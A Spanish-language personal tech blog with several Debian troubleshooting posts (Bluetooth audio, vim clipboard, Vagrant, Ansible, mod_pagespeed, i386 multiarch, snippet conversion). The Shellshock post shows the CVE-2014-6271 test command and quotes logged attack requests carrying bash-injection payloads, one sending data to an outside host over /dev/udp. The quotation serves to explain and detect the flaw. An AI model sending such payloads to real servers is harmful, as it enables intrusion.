Reconectar automáticamente auriculares bluetooth como salida por defecto de audio en pulseaduio

Tengo unos auriculares BNC80 bluetooth que suelo usar con mi equipo Debian. Estoy bastante contento con la calidad de sonido, peso, precio, cancelación de rudio, etc.. pero hasta hoy para usarlos tenía que encenderlos, ir al applet de bluetooth conectarlos, ir al applet de audio de mate-desktop y cambiar la salida de audio a mis auriculares.

Esto es lo normal si fuera la primera vez, pero si bajo la tapa del portatil…. ohhhh aquí empieza el jaleo, la vuelta al pasado, el …. no puede ser que pase esto. Lo que sucede es que el applet de bluetooth reconoce los auriculares pero el demonio de audio pulseaudio ni se entera que ahora hay un dispositivo nuevo de audio ni cambia la salida automáticamente a los auriculres.
Hoy me armé de paciencia y he realizado estos cambios que veís a continuación y he conseguido, que ahora se conecten automáticamente y la salida de audio se configure a los auriculares.

No domino pulse audio ni las herramienta de blueetooth, pero hay dos cosas importantes, una es hacer el ‘trust‘ de dispositivo para que reconecte automaticamente y la otra el activar module-switch-on-connect. La configuración de /etc/bluetooth/audio.conf no tengo claro que efecto tiene.

/etc/pulse/default.pa
load-module module-switch-on-connect
cat /etc/bluetooth/audio.conf 
[General]
Enable=Source,Sink,Media,Socket
bluetoothctl
# devices
Device 20:16:01:08:00:42 BNC80
trust 20:16:01:08:00:42
connect 20:16:01:08:00:42

blueman.bluez.errors.DBusFailedError: Protocol not available

Al intentar vincular por bluethooth un dispostivo de audio aparece el error

blueman.bluez.errors.DBusFailedError: Protocol not available

Seguramente necesitas instalar un paquete de pulseaudio


sudo apt-get install pulseaudio-module-bluetooth

Necesitarás reiniciar el servicio de pulseaudio

pulseaudio -k

Debería arrancar de nuevo automáticamente el servicio y comenzar a usar el módulo bluetooth

Refernecias: https://github.com/blueman-project/blueman/issues/547

vim soporte de portapapeles en entornos X

Por defecto en Debian, el paquete vim no soporta copiar y pegar texto de forma que se use el portapapeles para el entorno gráfico. Esto es debido a que vim puede ser compilado con una gran cantidad de opciones distintas, y para ello disponemos de muchos paquetes que actualizarán el binario con más o menos opciones activadas.

En este caso, necesitamos activar ‘clipboard’, pero… ¿ cómo podemos ver las opciones activas de nuestro vim ? con vim --version

$ vim --version
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Nov 17 2016 06:26:47)
Included patches: 1-488, 576
Extra patches: 8.0.0056
Modified by pkg-vim-maintainers@lists.alioth.debian.org
Compiled by jamessan@debian.org
Huge version with GTK2 GUI. Features included (+) or not (-):
+acl +farsi +mouse_netterm +syntax
+arabic +file_in_path +mouse_sgr +tag_binary
+autocmd +find_in_path -mouse_sysmouse +tag_old_static
+balloon_eval +float +mouse_urxvt -tag_any_white
+browse +folding +mouse_xterm +tcl
++builtin_terms -footer +multi_byte +terminfo
+byte_offset +fork() +multi_lang +termresponse
+cindent +gettext -mzscheme +textobjects
+clientserver -hangul_input +netbeans_intg +title
+clipboard +iconv +path_extra +toolbar
+cmdline_compl +insert_expand +perl +user_commands
+cmdline_hist +jumplist +persistent_undo +vertsplit
+cmdline_info +keymap +postscript +virtualedit
+comments +langmap +printer +visual
+conceal +libcall +profile +visualextra
+cryptv +linebreak +python +viminfo
+cscope +lispindent -python3 +vreplace
+cursorbind +listcmds +quickfix +wildignore
+cursorshape +localmap +reltime +wildmenu
+dialog_con_gui +lua +rightleft +windows
+diff +menu +ruby +writebackup
+digraphs +mksession +scrollbind +X11
+dnd +modify_fname +signs -xfontset
-ebcdic +mouse +smartindent +xim
+emacs_tags +mouseshape -sniff +xsmp_interact
+eval +mouse_dec +startuptime +xterm_clipboard
+ex_extra +mouse_gpm +statusline -xterm_save
+extra_search -mouse_jsbterm -sun_workshop +xpm
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
system gvimrc file: "$VIM/gvimrc"
user gvimrc file: "$HOME/.gvimrc"
2nd user gvimrc file: "~/.vim/gvimrc"
system menu file: "$VIMRUNTIME/menu.vim"
fall-back for $VIM: "/usr/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK -pthread -I/usr/include/gtk-2.0 -I/usr/lib/x86_64-linux-gnu/gtk-2.0/include -I/usr/include/gio-unix-2.0/ -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pixman-1 -I/usr/include/libpng12 -I/usr/include/gdk-pixbuf-2.0 -I/usr/include/libpng12 -I/usr/include/pango-1.0 -I/usr/include/harfbuzz -I/usr/include/pango-1.0 -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -I/usr/include/freetype2 -g -O2 -fPIE -fstack-protector-strong -Wformat -Werror=format-security -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1 -I/usr/include/tcl8.6 -D_REENTRANT=1 -D_THREAD_SAFE=1 -D_LARGEFILE64_SOURCE=1
Linking: gcc -L. -Wl,-z,relro -L/home/pere/src/debian/ruby/ruby2.1/debian/lib -fstack-protector -rdynamic -Wl,-export-dynamic -Wl,-E -fPIE -pie -Wl,-z,relro -Wl,-z,now -Wl,--as-needed -o vim -lgtk-x11-2.0 -lgdk-x11-2.0 -lpangocairo-1.0 -latk-1.0 -lcairo -lgdk_pixbuf-2.0 -lgio-2.0 -lpangoft2-1.0 -lpango-1.0 -lgobject-2.0 -lglib-2.0 -lfontconfig -lfreetype -lSM -lICE -lXpm -lXt -lX11 -lXdmcp -lSM -lICE -lm -ltinfo -lnsl -lselinux -lacl -lattr -lgpm -ldl -L/usr/lib -llua5.2 -Wl,-E -fstack-protector -L/usr/local/lib -L/usr/lib/x86_64-linux-gnu/perl/5.20/CORE -lperl -ldl -lm -lpthread -lcrypt -L/usr/lib/python2.7/config-x86_64-linux-gnu -lpython2.7 -lpthread -ldl -lutil -lm -Xlinker -export-dynamic -Wl,-O1 -Wl,-Bsymbolic-functions -L/usr/lib/x86_64-linux-gnu -ltcl8.6 -ldl -lz -lpthread -lieee -lm -lruby-2.1 -lpthread -lgmp -ldl -lcrypt -lm

Para afinar un poco más :

$ vim --version | grep clipboard
+clipboard +iconv +path_extra +toolbar
+eval +mouse_dec +startuptime +xterm_clipboard

En este caso vemos ‘+clipboard‘ por lo que tengo la opción activada. Si no es así podemos instalar el paquete gtk para activar el soporte
apt-get install vim-gtk

Ahora ya podemos entrar a vim, escribir algo y probar a seleccionar texto y utilizar las combinaciones típicas de copiar y pegar entre vim y otra aplicación. Si no es posible copiar el texto, podemos mapear la combinación de teclas ‘control+shift+c’ en vim de la siguiente manera:

vmap <C-S-C> "y+<CR>"

… y ya podemos hacer copy+paste de vim a cualquier otro sitio. Recuerda que puedes hacer el mapping persistente en tu ~/.vimrc

vagrant no sync folder

En instalaciones ‘frescas’ con Debian me está ocurriendo que cuando creo un proyecto de Vagrant con una Debian 8 por defecto la carpeta /vagrant no se sincroniza correctamente.

vagrant init debian/jessie64

La verdad que es un chasco estar trabajando en una instalación y de repente ver que has perdido el contenido al reiniciar la máquina vagrant por que no te aseguraste que estaba sincronizando correctamente…

Vagrant usa 4 tipos disintos para sincronizar directorios, por defecto deja al propio vagrant que decida que quiere hacer y si no es capaz de usar el driver propio de Vagrant, usa rsync. En el caso de la instalación fresca de Debian, he encontrado que el problema está en un fichero de mi proyecto

./vagrant/machines/default/virtualbox/synced_folders
{"rsync":{"/vagrant":{"type":"rsync","guestpath":"/vagrant","hostpath":"/home/jorge/projects/vagrant/data","disabled":false,"owner":"vagrant","group":"vagrant"}}}

Como vemos aquí está forzando a usar rsync cuando yo no quiero, prefiero que use el propio driver de Debian. Así que directamente eliminando este fichero y reinciniando la máquina vagrant debería comenzar a sincronizar correctamente. Peeeeero no funciona, el fichero se vuelve a crear, así que tendremos que ir a la configuración principal, a ver que encontramos, vamos a ver que hay por ahí…

Si echamos un vistazo a ~/.vagrant vemos lo siguiente:

.
./data
./data/lock.dotlock.lock
./data/machine-index
./data/machine-index/index.lock
./data/machine-index/index
./data/fp-leases
./boxes
./boxes/debian-VAGRANTSLASH-jessie64
./boxes/debian-VAGRANTSLASH-jessie64/8.4.0
./boxes/debian-VAGRANTSLASH-jessie64/8.4.0/virtualbox
./boxes/debian-VAGRANTSLASH-jessie64/8.4.0/virtualbox/box.ovf
./boxes/debian-VAGRANTSLASH-jessie64/8.4.0/virtualbox/metadata.json
./boxes/debian-VAGRANTSLASH-jessie64/8.4.0/virtualbox/Vagrantfile
./boxes/debian-VAGRANTSLASH-jessie64/8.4.0/virtualbox/debian-jessie-disk1.vmdk
./boxes/debian-VAGRANTSLASH-jessie64/metadata_url
./tmp
./rgloader
./rgloader/loader.rb
./setup_version
./insecure_private_key
./gems
./gems/ruby
./gems/ruby/2.1.0

Y si curioseamos el fichero Vagarnt de jessie64 vemos esto :

# The contents below were provided by the Packer Vagrant post-processor

Vagrant.configure("2") do |config|
  config.vm.base_mac = "0800271EC67E"
end


# The contents below (if any) are custom contents provided by the
# Packer template during image build.
Vagrant.configure("2") do |config|
  config.vm.synced_folder \
    ".",
    "/vagrant",
    type: "rsync"
end

Vemos aquí que hay un preset para definir el tipo de sincronización a rsync, no tengo muy claro si es una configuración por defecto o se fuenza a que la imagen se configure así , por lo que tendríamos dos caminos o bien lo cambiamos en ./vagrant/machines/default/virtualbox/synced_folders de nuestro proyecto o cambiarlo  en ~/.vagrant/boxes/debian-VAGRANTSLASH-jessie64/8.4.0/virtualbox/Vagrantfile, que es lo que voy a probar, me cargo esta linea, reiniciamos

Vale ahora hay otro problema …. ( todo esto con una versión fresca de Debian )

Failed to mount folders in Linux guest. This is usually because
the "vboxsf" file system is not available. Please verify that
the guest additions are properly installed in the guest and
can work properly. The command attempted was:

mount -t vboxsf -o uid=`id -u vagrant`,gid=`getent group vagrant | cut -d: -f3` vagrant /vagrant
mount -t vboxsf -o uid=`id -u vagrant`,gid=`id -g vagrant` vagrant /vagrant

The error output from the last command was:

stdin: is not a tty
mount: unknown filesystem type 'vboxsf'

Esto parece ser que es por que me faltan las ‘guest-utils‘ así que las instalo

$ sudo apt-get install virtualbox-guest-dkms
[sudo] password for jorge: 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following package was automatically installed and is no longer required:
  lockfile-progs
Use 'apt-get autoremove' to remove it.
The following extra packages will be installed:
  libnotify-bin virtualbox-guest-utils virtualbox-guest-x11
The following NEW packages will be installed:
  libnotify-bin virtualbox-guest-dkms virtualbox-guest-utils virtualbox-guest-x11
0 upgraded, 4 newly installed, 0 to remove and 0 not upgraded.
Need to get 1,939 kB of archives.
After this operation, 12.2 MB of additional disk space will be used.
Do you want to continue? [Y/n] 
Get:1 http://ftp.es.debian.org/debian/ jessie/main libnotify-bin amd64 0.7.6-2 [22.7 kB]
Get:2 http://ftp.es.debian.org/debian/ jessie/contrib virtualbox-guest-utils amd64 4.3.36-dfsg-1+deb8u1 [387 kB]
Get:3 http://ftp.es.debian.org/debian/ jessie/contrib virtualbox-guest-dkms all 4.3.36-dfsg-1+deb8u1 [498 kB]
Get:4 http://ftp.es.debian.org/debian/ jessie/contrib virtualbox-guest-x11 amd64 4.3.36-dfsg-1+deb8u1 [1,030 kB]
Fetched 1,939 kB in 2s (756 kB/s)               
Selecting previously unselected package libnotify-bin.
(Reading database ... 170777 files and directories currently installed.)
Preparing to unpack .../libnotify-bin_0.7.6-2_amd64.deb ...
Unpacking libnotify-bin (0.7.6-2) ...
Selecting previously unselected package virtualbox-guest-utils.
Preparing to unpack .../virtualbox-guest-utils_4.3.36-dfsg-1+deb8u1_amd64.deb ...
Unpacking virtualbox-guest-utils (4.3.36-dfsg-1+deb8u1) ...
Selecting previously unselected package virtualbox-guest-dkms.
Preparing to unpack .../virtualbox-guest-dkms_4.3.36-dfsg-1+deb8u1_all.deb ...
Unpacking virtualbox-guest-dkms (4.3.36-dfsg-1+deb8u1) ...
Selecting previously unselected package virtualbox-guest-x11.
Preparing to unpack .../virtualbox-guest-x11_4.3.36-dfsg-1+deb8u1_amd64.deb ...
Unpacking virtualbox-guest-x11 (4.3.36-dfsg-1+deb8u1) ...
Processing triggers for man-db (2.7.0.2-5) ...
Processing triggers for systemd (215-17+deb8u4) ...
Setting up libnotify-bin (0.7.6-2) ...
Setting up virtualbox-guest-utils (4.3.36-dfsg-1+deb8u1) ...
Setting up virtualbox-guest-dkms (4.3.36-dfsg-1+deb8u1) ...
Loading new virtualbox-guest-4.3.36 DKMS files...
First Installation: checking all kernels...
Building only for 4.5.0
Building initial module for 4.5.0
Error! Bad return status for module build on kernel: 4.5.0 (x86_64)
Consult /var/lib/dkms/virtualbox-guest/4.3.36/build/make.log for more information.
Setting up virtualbox-guest-x11 (4.3.36-dfsg-1+deb8u1) ...
update-rc.d: warning: start and stop actions are no longer supported; falling back to defaults
Processing triggers for systemd (215-17+deb8u4) ...
Processing triggers for libc-bin (2.19-18+deb8u4) ...

 

Pero ahora tenemos otro problema… no compilan las guest-utils con mi kernel 4.5 … vamos a echar un vistazo

  CC [M]  /var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf/vfsmod.o
  CC [M]  /var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf/dirops.o
  CC [M]  /var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf/lnkops.o
/var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf/lnkops.c: In function ‘sf_get_link’:
/var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf/lnkops.c:79:5: error: implicit declaration of function ‘VbglR0SfReadLink’ [-Werror=implicit-function-declaration]
     rc = VbglR0SfReadLink(&client_handle, &sf_g->map, sf_i->path, PATH_MAX, path);
     ^
cc1: some warnings being treated as errors
scripts/Makefile.build:258: recipe for target '/var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf/lnkops.o' failed
make[2]: *** [/var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf/lnkops.o] Error 1
scripts/Makefile.build:407: recipe for target '/var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf' failed
make[1]: *** [/var/lib/dkms/virtualbox-guest/4.3.36/build/vboxsf] Error 2
Makefile:1391: recipe for target '_module_/var/lib/dkms/virtualbox-guest/4.3.36/build' failed
make: *** [_module_/var/lib/dkms/virtualbox-guest/4.3.36/build] Error 2
make: Leaving directory '/usr/src/linux-headers-4.5.0'

Googleando un poco veo que es un bug reportado y tengo dos opciones o pasar de esta forma de sincronizar carpetas o bien bajarme una versión actual y parcheada de VirtualBox … me lo voy a pensar 😀

vagrant ansible sys.stdout.enconding is None

Estoy desplegando una máquina con vagrant y ansible en la que use vars_promt, mi intención es hacer una serie de preguntas previas al despliegue de una máquina y llevaba un buen rato pegándome con un error, concretamente este :

Traceback (most recent call last):
  File "/usr/bin/ansible-playbook", line 309, in <module>
    sys.exit(main(sys.argv[1:]))
  File "/usr/bin/ansible-playbook", line 249, in main
    pb.run()
  File "/usr/lib/python2.7/dist-packages/ansible/playbook/__init__.py", line 305, in run
    play = Play(self, play_ds, play_basedir, vault_password=self.vault_password)
  File "/usr/lib/python2.7/dist-packages/ansible/playbook/play.py", line 65, in __init__
    self.vars             = self._get_vars()
  File "/usr/lib/python2.7/dist-packages/ansible/playbook/play.py", line 672, in _get_vars
    vname, private, prompt, encrypt, confirm, salt_size, salt, default
  File "/usr/lib/python2.7/dist-packages/ansible/callbacks.py", line 662, in on_vars_prompt
    result = prompt(msg, private)
  File "/usr/lib/python2.7/dist-packages/ansible/callbacks.py", line 648, in prompt
    msg = prompt.encode(sys.stdout.encoding)
TypeError: encode() argument 1 must be string, not None
Ansible failed to complete successfully. Any error output should be
visible above. Please fix these errors and try again.

Leer el traceback de python al principio es un poco ruidoso, pero hay que leer detenidamente la traza y veremos claramente el problema. Yo al principio no lo he hecho y eso me ha llevado a dedicarle más tiempo 😀

Existe un problema documentado en ansible que genera este error cuando no es capaz de generar la codificación de salida, no se si es exactamente un bug de python2.x o es de ansible, por que en algunos casos recomiendan directamente migrar a python3 aunque ansible está desarrollado con python2.7.

Si queréis entreneros veréis que efectivamente sys.stdout.enconding devuelve None y de ahí la execepción que genera ansible.

Ahora bien,¿ como lo solucionamos ? forzando un tipo de codificacion con la variable de entorno PYTHONIOENCODING

export PYTHONIOENCODING='utf-8'

De esta manera ya podemos lanzar el provisionamiento de la máquina

vagrant provision

Esto está bien, pero no es práctico, ya que lo que queremos es olvidarnos de tener que hacer cosas manualmente, por eso automatizamos. Pues bien, hay una forma de agregar esto, y dejar nuestro Vagrantfile más o menos así:

VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|

  config.vm.box = "debian/jessie64"

  #Force sys.stdout.encoding to utf8
  ENV['PYTHONIOENCODING'] = "utf-8"

  config.vm.provision "ansible" do |ansible|
      ansible.verbose = "v"
      ansible.playbook = "ansible/playbook.yml"
  end

end

Evidentemente esto es un fichero muy sencillo, lo importante es declarar la variable de entorno

 

  ENV['PYTHONIOENCODING'] = "utf-8"

Este fallo está documentado en una issue de github https://github.com/ansible/ansible/issues/8644 aunque su resolución está prevista en una versión ‘mayor’ con lo que supongo que estará corregido en la rama 1.8.x mientras que en Debian stable estamos en la versión 1.7.2 a diciembre de 2015. Otra alternativa sería crear un virtual environment de python e instalar la versión que queramos, no lo he probado pero seguro que es posible.

 

 

Vaciar cache de mod_pagespeed de google

Una forma rápida de tunear nuestro servidor y ganar algo de velocidad en nuestros sites es usar mod_pagespeed de google que proporciona un sistema de compresión básico de css y js, así como una optimización de gestión en las imágenes, realmente sí se nota y no es complicado de instalar.

Una vez instalado, el problema puede venir al actualizar contenido, ¿ por qué ? por que nuestras hojas de estilos, código javascript o imágenes pueden estar cacheadas y volvernos locos pensando que no hemos hecho los cambios adecuados. Cuando esto sucede verifica que el servidor está actualizado manualmente y vacía la cachés.
¿ como se vacía la caché de mod_pagespeed ? Tenemos que generar una marca así de sencilla :

[code]
touch /var/cache/mod_pagespeed/cache.flush
[/code]

fallo de seguridad crítico: Shell Shock

Otro fallo gordo de seguridad que compromete la seguridad de miles de máquinas ha sido publicado hace un par de días.
En este caso se trata de un fallo de seguridad en la shell bash que permite inyectar código y ejecutarlo en una variable de entorno.

Para saber si nuestro servidor está comprometido :

[shell]
env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’
[/shell]

Si tu máquina es vulnerable aparecerá en consola
[shell]
vulnerable
hello
[/shell]

Aunque parezca que sólo puede afectar y ser un vector de ataque para usuarios locales, hay que recordar que hay multitud de scripts que chequean y validan por ejemplo logs que almacenan peticiones web, así que como en este ejemplo, podemos inyectar la ejecución de código malicioso sin tener acceso local a la máquina y esperando a los scripts procesen los logs y ejecuten el código inyectado.

[shell]
166.78.61.142 – – [25/Sep/2014:06:28:47 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444″
24.251.197.244 – – [25/Sep/2014:07:49:36 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :; }; echo -e x22Content-Type: text/plainx5Cnx22; echo qQQQQQq”
[/shell]

Este es un ejemplo extraído de http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html

Más información acerca del fallo de seguridad:
https://access.redhat.com/security/cve/CVE-2014-6271

agregar soporte i386 a Debian x86_64

En el anterior artículo, comentaba como solucionar un problema con firefox cuando no encuentra librerías para i386.

Si queremos agregar soporte i386 a nuestra máquina para instalar las dos versiones paquetes, la i386 y la x86_64 lo hacemos así en Debian

[shell]
sudo dpkg –add-architecture i386
sudo apt-get update
sudo apt-get install libxrender1:i386
[/shell]

y si quisiéramos eliminar todas las librerías instaladas y quitar el soporte para i386 con este copia y pega que tanto me gusta:
[shell]
dpkg -l | awk ‘$4~i386{ print $2}’ | xargs apt-get –yes remove –purge
sudo dpkg –remove-architecture i386

[/shell]

Convertir Textmate snippets a Gedit/Pluma

Este es otro pequeño ejemplo de esas cosas que vas dejando por que nunca tienes y sabes que te hacen falta. Ayer le dedicé tiempo y ya puedo decir que sí es posible convertir los snippets de TextMate a Gedit o Pluma para Mate-desktop.

 

Nicolas Alpi ( https://github.com/spyou ) desarolló hace tiempo un pequeño script en ruby que extrae los ficheros de snippets de Textmate para Gedit. Es un script muy muy sencillo en ruby en el cuál he corregido un pequeño detalle y le he agregado la posibilidad de indicar el directorio donde están los snippets. Una vez que ejecutas el script tmsnippets2gedit.rb se genera un fichero result.xml con la conversión. Este fichero deberemos copiarlo a la ruta de donde estén los demas ficheros de Gedit o Pluma con el nombre de la extensión a la que se aplicarán. Además hay que cambiar la cadena ‘[LANGUAGE]’ por el nombre de la extensión.

 

En mi caso lo quiero usar para importar los ficheros publicados en el repositorio oficial de phpcake Textmate bundle

 

Bueno… alguno se preguntará ¿ qué es un snippet ?. Los editores de texto como textmate, sublime, gedit o mi querido pluma tienen esta pequeña funcionalidad llamada snippets ( se puede traducir como recortes o fragmentos ) que lo que hacen es escribir un bloque de texto usando un pequeño ‘trigger‘ o disparador y presionando la tecla TAB.

 

Como la tecnología tiene que ayudar a mejorar tu vida, en resumen, lo que hace un snippet, es permitir que curremos más rápido, escribiendo un bloque de texto presionando un par de caracteres y el tab. Por ejemplo si quiero agregar en una vista un texto internacionalizado en PHPCake o Wordress tendré que escribir algo como esto :
[shell]<?php echo __(‘Translate this’) ?>
[/shell]
 

La cantidad de veces que hay que escribir el tag de php es odiosa y terriblemente aburrida, de forma que si uso un snippet puede asignar ‘echo’ + ‘tab’ y escribirá: <?php echo __(‘Translate this’) ?>

La configuración sería como en la imagen adjunta :
 

pluma-snippet-18n-echo

 

 

 
 

Ahora que ya tenemos todas la piezas, ¿como usar los snippets de cakephp en gedit/pluma ? Aquí tenéis un fragmento de los que me gustan a mí de copiar y pegar y listo:
[shell]Example to convert cakephp textame to gedit/pluma snippets

git clone https://github.com/jsenin/tmsnippets2gedit
sudo gem install ruby ruby-nokogiri

git clone https://github.com/cakephp/cakephp-tmbundle
cd cakephp-tmbundle
ruby ../tmsnippets2gedit.rb

sed -i ‘s/\[LANGUAGE\]/php/g’ result.xml
sudo cp result.xml /usr/share/pluma/plugins/snippets/php.xml

or

sudo cp result.xml ~/.config/pluma/snippets/php.xml[/shell]

i3wm gestor de ventanas ligero para «pro’s»

Me ha parecido muy interesante este gestor de ventanas por aprovechar completamente el uso del escritorio y la facilidad de crear nuevas conosolas en modo docked con alt+v y alt+h, cuando trabajas muy inténsamente con consola se agradecen este tipo de cosas

i3wm Demostracion ( video en castellano )

http://i3wm.org/docs/userguide.html

i3 window manager screencast v4.1